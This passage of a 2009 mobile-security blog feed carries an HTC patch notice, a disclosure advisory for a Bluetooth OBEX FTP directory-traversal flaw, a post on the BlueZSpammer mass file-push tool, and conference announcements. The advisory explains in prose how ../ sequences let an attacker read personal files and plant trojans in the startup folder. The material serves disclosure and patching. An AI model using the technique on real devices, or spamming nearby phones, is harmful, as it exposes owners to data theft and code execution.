TOUCH&amp;trade;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=44&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade DUAL&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=59&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade; CRUISE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=13&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TyTN II&amp;trade;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=87&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC ADVANTAGE&amp;trade; X7510&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=46&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC P6500&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=112&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC P3470&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/asia/supportdownloadlist.aspx?p_id=54&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC P3400&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=8&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC S710&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=47&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC S730&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=140&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade PRO&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=133&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade DIAMOND&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=249&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade DIAMOND 2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=179&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade; HD&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=174&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade; 3G&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=175&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade; VIVA&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=242&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC TOUCH&amp;trade; CRUISE (09)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/europe/supportdownloadlist.aspx?p_id=144&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC ADVANTAGE&amp;trade; X7510&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htc.com/www/supportdownloadlist.aspx?p_id=163&amp;act=sd&amp;cat=all" target="_blank"&gt;HTC S740&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;For other devices not listed, you may find the latest security updates &lt;a href="http://www.htc.com/www/support.aspx" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;After the install of the security patch, the OBEX FTP Service Directory Traversal flaw will be fixed.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://picasaweb.google.com/lh/photo/5eqx7pcZObZP8PiN4kkrYw?authkey=Gv1sRgCMWTl_y-waaAjwE&amp;feat=embedwebsite"&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SmBAm2su-QI/AAAAAAAAAaE/9kRrZKT6EUs/s800/hotfix.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thanks to Niclas Nielsen for the early notification.&lt;br /&gt;&lt;br /&gt;All trademarks mentioned herein belong to HTC Corporation (HTC).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2635641746141266559?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/yEIAujhy-j8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2635641746141266559/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2635641746141266559" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2635641746141266559?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2635641746141266559?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/yEIAujhy-j8/htc-releases-hotfix-for-bluetooth.html" title="HTC releases hotfix for Bluetooth security flaw" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/_kWGvruOyW-U/SmBAm2su-QI/AAAAAAAAAaE/9kRrZKT6EUs/s72-c/hotfix.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2009/07/htc-releases-hotfix-for-bluetooth.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYARHg4cSp7ImA9WhdSFks.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-1555354215143192051</id><published>2009-07-13T23:58:00.009+02:00</published><updated>2011-07-26T10:15:45.639+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-26T10:15:45.639+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><category scheme="http://www.blogger.com/atom/ns#" term="Windows Mobile security" /><title>HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability Advisory</title><content type="html">Title: HTC / Windows Mobile OBEX FTP Service Directory Traversal &lt;br /&gt;Author: Alberto Moreno Tablado&lt;br /&gt;Vendor: &lt;a href="http://www.htc.com/"&gt;HTC&lt;/a&gt;&lt;br /&gt;Vulnerable Products:&lt;br /&gt;- HTC devices running Windows Mobile 6&lt;br /&gt;- HTC devices running Windows Mobile 6.1&lt;br /&gt;Non vulnerable products: &lt;br /&gt;- HTC devices running Windows Mobile 5.0&lt;br /&gt;- HTC devices running Windows Mobile 6.5&lt;br /&gt;- Other vendors' Windows Mobile devices&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;HTC devices running Windows Mobile 6 and Windows Mobile 6.1 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. The service is located in a 3rd party driver developed by HTC and installed on HTC devices running Windows Mobile, so the vulnerability only affects to this vendor specifically.&lt;br /&gt;&lt;br /&gt;The scope of the Directory Traversal vulnerability allows a remote attacker to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks. This security flaw leads to browse folders located anywhere in the file system, download files contained in any folder as well as upload files to any folder, which may lead to code execution.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SluyBDeFluI/AAAAAAAAAZE/pgYltQyrrtc/s800/obex-directory-traversal-3x.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;A remote attacker who previously owned authentication and authorization rights over Bluetooth can perform three risky actions on the device:&lt;br /&gt;&lt;br /&gt;1) Browse directories located out of the limits of the default shared folder&lt;br /&gt;&lt;br /&gt;The attacker can discover the structure of the file system and access to any directory within it, including: &lt;br /&gt;- The flash hard drive&lt;br /&gt;- The external storage card&lt;br /&gt;- The internal mass storage memory, included in specific HTC devices&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SluzBHkyzYI/AAAAAAAAAZQ/xW3YhBcg1qI/s800/obex-directory-traversal-8x.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;2) Download files without permission&lt;br /&gt;&lt;br /&gt;The attacker can download sensitive files located anywhere in the file system, such as: &lt;br /&gt;- personal pictures and documents located in \My Documents or any other directory&lt;br /&gt;- Contacts, Calendar &amp; Tasks information located in \PIM.vol&lt;br /&gt;- Temporary internet cache and cookies located in \Windows\Profiles\guest&lt;br /&gt;- emails located in \Windows\Messaging&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SluyBDj2XsI/AAAAAAAAAZI/OidzUmPY3HI/s800/obex-directory-traversal-11x.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;3) Upload malicious files&lt;br /&gt;&lt;br /&gt;The attacker can replace third party or system executable files with malicious files as well as upload trojans to any place in the filesystem, such as \Windows\Startup and, therefore, shall be executed the next time Windows Mobile inits.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SluyBJkaI_I/AAAAAAAAAZM/In7De9PuWFI/s800/obex-directory-traversal-40x.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;The following HTC devices are affected by this vulnerability: &lt;br /&gt;- HTC devices running Windows Mobile 6 Professional&lt;br /&gt;- HTC devices running Windows Mobile 6 Standard&lt;br /&gt;- HTC devices running Windows Mobile 6.1 Professional &lt;br /&gt;- HTC devices running Windows Mobile 6.1 Standard&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/HTC-Windows-Mobile-OBEX-FTP-Service-Directory-Traversal.html#AffectedProducts"&gt;Here&lt;/a&gt; you can find a list of tested HTC devices proved to be vulnerable.&lt;br /&gt;&lt;br /&gt;HTC devices running Windows Mobile 5.0 are not affected because the OBEX FTP service is not implemented in that OS version.&lt;br /&gt;&lt;br /&gt;Other vendors' Windows Mobile devices are not affected either: ASUS, Samsung, LG, ...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Vendor Status&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability was first disclosed on 2009/01/19 as a whole Microsoft Bluetooth Stack issue in Windows Mobile 6 Professional. Subsequent tests proved that several Windows Mobile 6 Standard and Windows Mobile 6.1 Professional devices were also vulnerable. Microsoft was contacted on 2009/01/22 and this information was not made public because last mobile phones manufactured were vulnerable.&lt;br /&gt;&lt;br /&gt;Further investigations proved that the issue is in a 3rd party driver installed by HTC, this vulnerability only affects to HTC devices and other vendors' Windows Mobile devices are not affected.&lt;br /&gt;&lt;br /&gt;HTC Europe was contacted several times since 2009/02 until 2009/06. Through out this period of time I attempted to collaborate with the vendor and provided all the details concerning on the exploitation of the flaw. However, I failed to coordinate the disclosure of the advisory and the release of the hotfix so finally I was forced to go public with all the information undisclosed.&lt;br /&gt;&lt;br /&gt;Having the vulnerability been announced HTC commenced to release hotfixes.&lt;br /&gt;&lt;br /&gt;This vulnerability is a zero-day threat. This means that all devices shipped up to date (July 2009) may be vulnerable.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/HTC-Windows-Mobile-OBEX-FTP-Service-Directory-Traversal.html"&gt;Read the full advisory here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-1555354215143192051?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/4pJ3BwpGP_0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/1555354215143192051/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=1555354215143192051" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/1555354215143192051?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/1555354215143192051?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/4pJ3BwpGP_0/htc-windows-mobile-obex-ftp-service.html" title="HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability Advisory" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_kWGvruOyW-U/SluyBDeFluI/AAAAAAAAAZE/pgYltQyrrtc/s72-c/obex-directory-traversal-3x.jpg" height="72" width="72" /><thr:total>6</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2009/07/htc-windows-mobile-obex-ftp-service.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcDRn49fip7ImA9WxNVEE4.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2067074151641737702</id><published>2009-04-17T18:05:00.006+02:00</published><updated>2009-10-20T12:21:17.066+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-20T12:21:17.066+02:00</app:edited><title>Slides de las Conferencias FIST MADRID</title><content type="html">Publico las presentaciones de mi charla sobre &lt;strong&gt;Seguridad en Windows Mobile&lt;/strong&gt; en las Conferencias FIST celebradas en Madrid en 2009:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.seguridadmobile.com/Files/Conferencia_FIST_febrero_2009_-_Seguridad_en_Windows_Mobile.pdf"&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/Seiq7qA6IgI/AAAAAAAAAVs/BRZEQpH6uWY/portada%20Conferencia%20FIST%20febrero%202009.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;Conferencias FIST MADRID Febrero 2009, con la colaboración del Consejo Superior de Investigaciones Científicas y de la asociación ISSA España.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.seguridadmobile.com/Files/Conferencia_FIST_marzo_2009_-_Seguridad_en_Windows_Mobile.pdf"&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/Seiq7vHbYUI/AAAAAAAAAV0/0mboUUTLbxM/portada%20Conferencia%20FIST%20marzo%202009.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;Conferencias FIST MADRID Marzo 2009, con la colaboración de la Cátedra Applus+ de Seguridad y Desarrollo de la Sociedad de la Información de la Universidad Politécnica de Madrid y de la asociación ISSA España.&lt;br /&gt;&lt;br /&gt;¡Que aproveche!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2067074151641737702?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/QTQeCmgPa9Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2067074151641737702/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2067074151641737702" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2067074151641737702?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2067074151641737702?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/QTQeCmgPa9Q/slides-de-las-conferencias-fist-madrid.html" title="Slides de las Conferencias FIST MADRID" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_kWGvruOyW-U/Seiq7qA6IgI/AAAAAAAAAVs/BRZEQpH6uWY/s72-c/portada%20Conferencia%20FIST%20febrero%202009.jpg" height="72" width="72" /><thr:total>7</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2009/04/slides-de-las-conferencias-fist-madrid.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8BQ3g5eSp7ImA9WxVbFkU.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2318858631968263227</id><published>2009-03-11T23:43:00.010+01:00</published><updated>2009-04-02T18:14:12.621+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-02T18:14:12.621+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth spec and development (español)" /><title>BlueZSpammer</title><content type="html">Acabo de publicar una nueva versión de BlueZSpammer.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/Sbg-judrKGI/AAAAAAAAAUs/hEKHJccjUmg/s800/bluetooth-hot-spot-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/bluez/bluezspammer.html"&gt;BlueZSpammer&lt;/a&gt; es una herramienta front-end para &lt;a href="http://dev.zuckschwerdt.org/openobex/wiki/ObexDownloads"&gt;Obexftp&lt;/a&gt; que permite descubrir dispositivos Bluetooth con soporte para el &lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/perfiles-bluetooth/index.html#PCO"&gt;Perfil de Carga de Objetos (OBEX Object Push)&lt;/a&gt; y enviar archivos de forma masiva. Es incluso capaz de filtrar únicamente teléfonos móviles y Smartphones. Utiliza la pila de protocolos BlueZ para Linux y está desarrollado en lenguaje C.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/Sbg-j4ZxZSI/AAAAAAAAAVE/XymqpaEogu0/s800/bluezspammer-h.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;BlueZScanner implementa las siguientes funciones Bluetooth utilizando el API de BlueZ:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/identificacion-bluetooth/deteccion-de-dispositivos.html"&gt;Detección de dispositivos Bluetooth cercanos.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Identificación de la dirección BD_ADDR, &lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/identificacion-bluetooth/identificacion-de-dispositivos.html#IdTipo"&gt;Class of Device o tipo de dispositivo&lt;/a&gt;, Nombre del dispositivo y &lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/identificacion-bluetooth/identificacion-de-dispositivos.html#IdFabricante"&gt;Fabricante del chipset Bluetooth&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Filtro de teléfonos móviles y Smartphones.&lt;/li&gt;&lt;li&gt;Envío de archivos a través del Perfil de Carga de Objetos (OBEX Object Push) con ayuda de &lt;a href="http://dev.zuckschwerdt.org/openobex/wiki/ObexDownloads"&gt;Obexftp&lt;/a&gt;. &lt;/li&gt;&lt;/ul&gt;El código fuente de BlueZSpammer se distribuye libremente bajo licencia GNU.&lt;br /&gt;&lt;br /&gt;BlueZSpammer es una herramienta desarrollada con fines científicos y educacionales con el objeto de ayudar a entender conceptos como el marketing de proximidad; si alguien está interesado en una solución profesional, recomiendo &lt;a href="http://www.xblue.es/"&gt;XBlue de Endorasoft&lt;/a&gt;. No debe ser utilizada como herramienta de spam en lugares públicos con fines comerciales o de fastidio para otras personas. El autor no tiene ninguna responsabilidad sobre el uso que pueda darse a esta herramienta.&lt;br /&gt;&lt;br /&gt;Puedes encontrar más información sobre BlueZScanner &lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/bluez/bluezspammer.html"&gt;aquí&lt;/a&gt;, la herramienta está &lt;a href="http://www.seguridadmobile.com/bluetooth/especificacion-bluetooth/bluez/Files/bluezspammer.tar.gz"&gt;disponible para descarga&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/Sbg-j5tdEjI/AAAAAAAAAU0/xUa_D5r3Ty4/s800/bluezspammer.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/Sbg-jyhJAHI/AAAAAAAAAU8/HqbQvs6T9Xg/s800/bluezspammer-f.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_kWGvruOyW-U/Sbg-kNxChjI/AAAAAAAAAVM/Scm7nNBYHuU/s800/bluezspammer-p.jpg" /&gt;&lt;a href="http://www.endorasoft.es/marketing_proximidad_bluetooth.html"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2318858631968263227?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/KtDKNG0vf1I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2318858631968263227/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2318858631968263227" title="19 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2318858631968263227?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2318858631968263227?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/KtDKNG0vf1I/bluezspammer.html" title="BlueZSpammer" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/_kWGvruOyW-U/Sbg-judrKGI/AAAAAAAAAUs/hEKHJccjUmg/s72-c/bluetooth-hot-spot-2.jpg" height="72" width="72" /><thr:total>19</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2009/03/bluezspammer.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0IBRXo7eCp7ImA9WxVVGEw.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-8423946933776523045</id><published>2009-03-08T21:42:00.004+01:00</published><updated>2009-03-12T01:59:14.400+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-12T01:59:14.400+01:00</app:edited><title>Conferencias FIST MADRID Marzo 2009</title><content type="html">El Jueves 12 de marzo de 2009, con la colaboración de la Cátedra UPM Applus+ de Seguridad y Desarrollo de la Sociedad de la Información CAPSDESI, se repetirá en Madrid, en respuesta al enorme interés que despertó, la &lt;a href="http://seguridadmobile.blogspot.com/2009/02/conferencias-fist-madrid-febrero-2009.html"&gt;reciente edición de las Conferencias de Seguridad FIST celebrada recientemente en el Consejo Superior de Investigaciones Científicas&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Programa:&lt;br /&gt;- 18:00 "Inauguración" - Jorge Ramió - Cátedra UPM Applus+&lt;br /&gt;- 18:05 "La jungla de las redes Wifi" - Alejandro Martín (Informatica64)&lt;br /&gt;&lt;strong&gt;- 19:00 "Seguridad en Windows Mobile" - Alberto Moreno&lt;/strong&gt; &lt;br /&gt;- 20:05 "Network Access Control" - David Carrasco (Heroes Certificados)&lt;br /&gt; &lt;br /&gt;Lugar:&lt;br /&gt;El evento tendrá lugar en la Sala de Grados 3004 de la Escuela Universitaria de Ingeniería Técnica de Telecomunicación EUITT de la UPM, Campus Sur. &lt;a href="http://www.euitt.upm.es/01.la_escuela/accesso.htm"&gt;Cómo llegar&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Para más información:&lt;br /&gt;&lt;a href="http://www.fistconference.org/?s=6&amp;t=2"&gt;http://www.fistconference.org/?s=6&amp;t=2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Se recomienda &lt;a href="http://www.fistconference.org/?s=9"&gt;inscribirse&lt;/a&gt;, dado que las plazas son limitadas (aforo: 67). Tendrán prioridad aquellos inscritos en la primera edición que no pudieron asistir por problemas de ocupación.&lt;br /&gt;&lt;br /&gt;¡Nos vemos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-8423946933776523045?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/96EeVzGDQ4c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/8423946933776523045/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=8423946933776523045" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/8423946933776523045?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/8423946933776523045?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/96EeVzGDQ4c/conferencias-fist-madrid-marzo-2009.html" title="Conferencias FIST MADRID Marzo 2009" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2009/03/conferencias-fist-madrid-marzo-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cBR3k7eyp7ImA9WxVVFkw.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-1509129761260589856</id><published>2009-02-23T19:44:00.004+01:00</published><updated>2009-03-09T18:17:36.703+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-09T18:17:36.703+01:00</app:edited><title>Conferencias FIST, ¡repetimos!</title><content type="html">El pasado Jueves 19 de Febrero se celebraron en Madrid las &lt;a href="http://seguridadmobile.blogspot.com/2009/02/conferencias-fist-madrid-febrero-2009.html"&gt;Conferencias FIST de Seguridad&lt;/a&gt;. La experiencia fue muy buena y tuve el placer de compartir cartel con Alejandro Martín y David Carrasco, dos magníficos ponentes. Agradezco a Vicente Aceituno y a Gonzálo Alvarez Marañón la oportunidad que me dieron de participar en el evento.&lt;br /&gt;&lt;br /&gt;Mi charla sobre &lt;strong&gt;Seguridad en Windows Mobile&lt;/strong&gt; salió bien y, a pesar del temido &lt;em&gt;efecto demo&lt;/em&gt;, que no faltó a la cita, llegué hasta el final con la demostración práctica de ataques en cadena a través de Bluetooth para conseguir robar emails y ejecutar troyanos en un teléfono HTC.&lt;br /&gt;&lt;br /&gt;Según la organización, un gran número de asistentes no pudo acceder a la sala por problemas de ocupación, así que se tiene pensado repetir el evento en Marzo con el mismo contenido. Las dispositivas de las conferencias se publicarán entonces.&lt;br /&gt;&lt;br /&gt;Todavía no hay fecha y lugar de celebración del próximo evento, pero por si acaso estad atentos para la &lt;a href="http://www.fistconference.org/?s=9"&gt;inscripción &lt;/a&gt;. ;)&lt;br /&gt;&lt;br /&gt;Os dejo con la &lt;a href="http://futur3.com/?p=102"&gt;crónica&lt;/a&gt; de uno de los asistentes a las Conferencias FIST.&lt;br /&gt;&lt;br /&gt;¡Gracias a todos por asistir! Nos vemos en Marzo ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-1509129761260589856?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/MnWJ-MFWLAw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/1509129761260589856/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=1509129761260589856" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/1509129761260589856?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/1509129761260589856?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/MnWJ-MFWLAw/conferencias-fist-repetimos.html" title="Conferencias FIST, 